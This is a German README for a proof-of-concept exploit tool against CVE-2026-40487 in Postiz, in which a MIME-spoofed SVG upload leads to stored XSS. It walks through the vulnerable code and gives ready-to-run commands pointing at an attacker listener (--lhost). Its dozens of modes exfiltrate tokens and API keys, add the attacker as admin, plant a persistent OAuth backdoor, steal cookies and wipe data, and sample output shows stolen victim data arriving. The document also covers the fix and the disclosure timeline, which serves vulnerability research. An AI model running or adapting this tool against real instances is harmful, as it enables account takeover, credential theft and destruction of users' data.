
Proof-of-Concept-Exploit für CVE-2026-40487, das einen beliebigen Datei-Upload per MIME-Spoofing demonstriert, der zu gespeichertem XSS und Account-Übernahme in Postiz führt. Enthält mehrere Angriffsmodi für Datenextraktion, Privilegieneskalation und Persistenz.
Entdeckt und gemeldet von: Astaruf
Vollständiger Bericht: https://nstsec.com/en/posts/postiz-xss-cve-2026-40487/
NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2026-40487
GHSA-Eintrag: https://github.com/gitroomhq/postiz-app/security/advisories/GHSA-44wg-r34q-hvfx
CVE-Datensatz: https://www.cve.org/CVERecord?id=CVE-2026-40487
Postiz ist ein Open-Source-Tool für Social-Media-Management mit 28+ Plattform-Integrationen (Instagram, X, LinkedIn, Facebook, TikTok, etc.), das von 600+ im Internet exponierten Instanzen genutzt wird.
Ein Angreifer mit niedrigen Privilegien kann eine bösartige SVG- (oder HTML-) Datei mit einem gespooften Content-Type: image/png-Header hochladen. Der Server akzeptiert die Datei, ohne deren tatsächlichen Inhalt zu prüfen, behält die ursprüngliche Dateiendung bei, und nginx liefert sie mit dem aus dieser Endung abgeleiteten Content-Type aus (image/svg+xml). Wenn ein Opfer die URL öffnet, wird das eingebettete JavaScript im Ursprung der Anwendung ausgeführt, was dem Angreifer vollständige Session-Riding-Fähigkeiten verleiht, die einer Account-Übernahme gleichkommen.
Die Angriffskette:
Angreifer lädt .svg mit Content-Type: image/png hoch
-> Server validiert nur den Content-Type-Header (CWE-345)
-> Datei wird mit ursprünglicher .svg-Endung auf der Festplatte gespeichert (CWE-434)
-> nginx liefert sie als image/svg+xml aus
-> Browser führt eingebettetes JavaScript aus (CWE-79)
-> Gleicher Ursprung: vollständiger Zugriff auf die Sitzung des Opfers
Das XSS-Payload wird gleichursprünglich (same-origin) mit der Anwendung ausgeführt. Obwohl das Auth-Cookie HttpOnly ist, hängt fetch() mit credentials: "include" es automatisch an. Der Angreifer kann:
pos_*-Token, das nie abläuft und Passwortänderungen übersteht)Drei Komponenten versagen unabhängig voneinander und erzeugen so die Exploit-Kette:
libraries/nestjs-libraries/src/upload/custom.upload.validation.ts:
const validation =
(value.mimetype.startsWith('image/') ||
value.mimetype.startsWith('video/mp4')) &&
value.size <= maxSize;
value.mimetype stammt aus dem Content-Type-Header der Multipart-Anfrage, den der Angreifer kontrolliert. Keine Magic-Byte-Prüfung, keine Verwendung von Bibliotheken wie file-type.
libraries/nestjs-libraries/src/upload/local.storage.ts:
const filePath = `${dir}/${randomName}${extname(file.originalname)}`;
writeFileSync(filePath, file.buffer);
extname(file.originalname) extrahiert die Endung aus dem vom Client gelieferten Dateinamen. Keine Prüfung auf Konsistenz zwischen deklariertem MIME-Typ und Endung. Der Server gibt außerdem die vollständige öffentliche URL in der Antwort zurück, sodass der Angreifer den Link erhält, den er an das Opfer senden kann.
http {
include /etc/nginx/mime.types;
location /uploads/ {
alias /uploads/;
}
}
nginx mappt .svg auf image/svg+xml, .html auf text/html. Kein Content-Security-Policy, kein X-Content-Type-Options: nosniff, kein Content-Disposition: attachment.
Python 3.8+
pip install requests
# 1. Prüfen, ob das Ziel verwundbar ist
python3 poc.py http://target:5000 -e [email protected] -p password --check
# 2. Alles vom Opfer exfiltrieren
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a full-dump
# 3. Eine persistente Hintertür erstellen
python3 poc.py http://target:5000 -e [email protected] -p password \
--lhost YOUR_IP -a create-oauth-app
# 4. Das Token ohne Anmeldedaten wiederverwenden
python3 poc.py http://target:5000 -t pos_XXXX...XXXX \
--lhost YOUR_IP -a full-dump
Angreifer Server Postiz Opfer
| | |
|-- 1. Login/Registrierung --->| |
|-- 2. Bösartiges SVG hochladen ->| |
|<---- URL der Datei -----------| |
|-- 3. URL an Opfer senden ---------------------------> |
| |<--- 4. Öffnet URL ----- |
| |--- SVG + JS ---------> |
|<-------------- 5. JS wird ausgeführt, exfiltriert Daten -----------|
| Modus | Beschreibung |
|---|---|
dump-self | Profil des Opfers, Organisationsinfo, Tarif, API-Schlüssel |
dump-personal | Anzeigename, Bio, Profilbild |
dump-integrations | Verbundene Social-Media-Integrationen und Tokens |
dump-posts | Geplante und Entwurfsbeiträge (letzte 365 Tage) |
dump-team | Teammitglieder, Rollen und E-Mail-Adressen |
dump-media | Auflistung der Medienbibliothek |
dump-notifications | Benachrichtigungsverlauf |
dump-signatures | Beitragssignaturen |
dump-webhooks | Konfigurierte Webhooks und deren URLs |
dump-oauth-app | OAuth-App-Anmeldedaten (clientId, secret) |
dump-copilot | KI-Copilot-Konversationsverläufe |
dump-billing | Abrechnungs- und Abonnementinformationen |
dump-settings | Shortlink- und Benachrichtigungseinstellungen |
dump-third-party | Konfigurationen von Drittanbieter-Integrationen |
dump-autopost | Autopost-Regeln |
dump-sets | Inhaltssets |
dump-tags | Beitrags-Tags |
dump-customers | Kundenliste |
full-dump | Alles oben Genannte in einem einzigen Payload |
| Modus | Beschreibung |
|---|---|
add-admin | Angreifer als ADMIN in die Organisation des Opfers einladen (--attacker-email) |
rotate-key | Organisations-API-Schlüssel rotieren und exfiltrieren |
rotate-oauth | OAuth-App-Secret rotieren und exfiltrieren |
| Modus | Beschreibung |
|---|---|
kill-notifications | Alle E-Mail-Benachrichtigungen deaktivieren |
edit-profile | Name und Bio des Opfers ändern (--edit-name, --edit-bio) |
wipe-signatures | Alle Beitragssignaturen löschen |
wipe-webhooks | Alle Webhooks löschen |
wipe-tags | Alle Tags löschen |
wipe-sets | Alle Inhaltssets löschen |
wipe-autopost | Alle Autopost-Regeln löschen |
logout-victim | Logout des Opfers erzwingen |
delete-oauth-app | OAuth-Anwendung des Opfers löschen |
| Modus | Beschreibung |
|---|---|
create-oauth-app | OAuth-App erstellen, automatisch genehmigen, persistentes pos_*-Token exfiltrieren (--oauth-redirect) |
steal-cookie | Auth-JWT über document.cookie stehlen (wenn NOT_SECURED=true) |
| Modus | Beschreibung |
|---|---|
api-call | Beliebiger authentifizierter API-Aufruf (--api-method, --api-path, --api-body) |
custom | Beliebiges JavaScript ausführen (--custom-js) |
| Option | Beschreibung |
|---|---|
--check | Prüfen, ob das Ziel verwundbar ist (kein Angriff wird ausgeführt) |
--register | Neues Konto vor dem Login registrieren |
-t / --token | API-Schlüssel oder pos_*-Token anstelle von Anmeldedaten verwenden |
--format html | HTML-Payload anstelle von SVG verwenden |
--proxy | Verkehr über HTTP/SOCKS-Proxy leiten (z. B. Burp Suite) |
-o / --output | Beute in JSON-Datei speichern |
$ python3 poc.py http://target:5000 -e [email protected] -p S3cret! --lhost 10.0.0.1 -a full-dump
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██████╗ ██╗ ██╗ █████╗ ███████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ██╔═████╗ ██║ ██║ ██╔══██╗ ╚════██║
██║ ██║ ██║█████╗ -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝ ██╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗ ██╔╝
╚██████╗ ╚████╔╝ ███████╗ ██║ ╚██████╔╝ ██║ ╚█████╔╝ ██║
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═════╝ ╚═╝ ╚════╝ ╚═╝
Postiz <= 2.21.5 — Gespeichertes XSS durch MIME-gespooften Datei-Upload
[*] Anmelden als [email protected] ...
[+] Authentifiziert.
[*] Payload wird generiert: Alles in einem einzigen Payload exfiltrieren
[*] Bösartige .svg mit Content-Type: image/png wird hochgeladen ...
[+] Upload erfolgreich.
ID: 28c1daee-d83e-403e-bc1f-dba63182d4b0
Pfad: http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
[*] Exfiltrations-Listener wird auf 0.0.0.0:8888 gestartet ...
=================================================================
Senden Sie diese URL an das Opfer:
http://target:5000/uploads/2026/04/15/4be19b2244eb.svg
=================================================================
[*] Warten, bis das Opfer den Link öffnet ...
[+] Beute empfangen @ 2026-04-15 03:45:41
tag: victim-profile
data: {"email":"[email protected]","orgId":"...","publicApi":"bd332945..."}
[+] Beute empfangen @ 2026-04-15 03:45:41
tag: integrations
data: [{"id":"...","providerIdentifier":"instagram","token":"IGQVJ..."}]
[+] Beute empfangen @ 2026-04-15 03:45:42
tag: team-members
data: [{"userId":"...","email":"[email protected]","role":"SUPERADMIN"}]
...
Version 2.21.6 führte drei Änderungen ein:
file-type-Bibliothek zur Prüfung des tatsächlichen Dateiinhaltsimage/*-Catch-all mehr)| Datum | Ereignis |
|---|---|
| 2026-04-10 | Schwachstelle während der Quellcode-Überprüfung entdeckt |
| 2026-04-10 | Über GitHub Security Advisory (GHSA) gemeldet |
| 2026-04-10 | Entwickler bestätigten und forderten Klarstellung an |
| 2026-04-10 | Detaillierte Angriffsszenarien und Shodan-Daten bereitgestellt |
| 2026-04-11 | CVSS-Streitfall mit Beweisen eingereicht |
| 2026-04-13 | Fix in v2.21.6 veröffentlicht |
| 2026-04-14 | CVE-2026-40487 zugewiesen |
| 2026-04-15 | Öffentliche Offenlegung |
Dieses Tool wird nur für autorisierte Sicherheitstests und Bildungszwecke bereitgestellt. Verwenden Sie es ausschließlich gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Unbefugter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.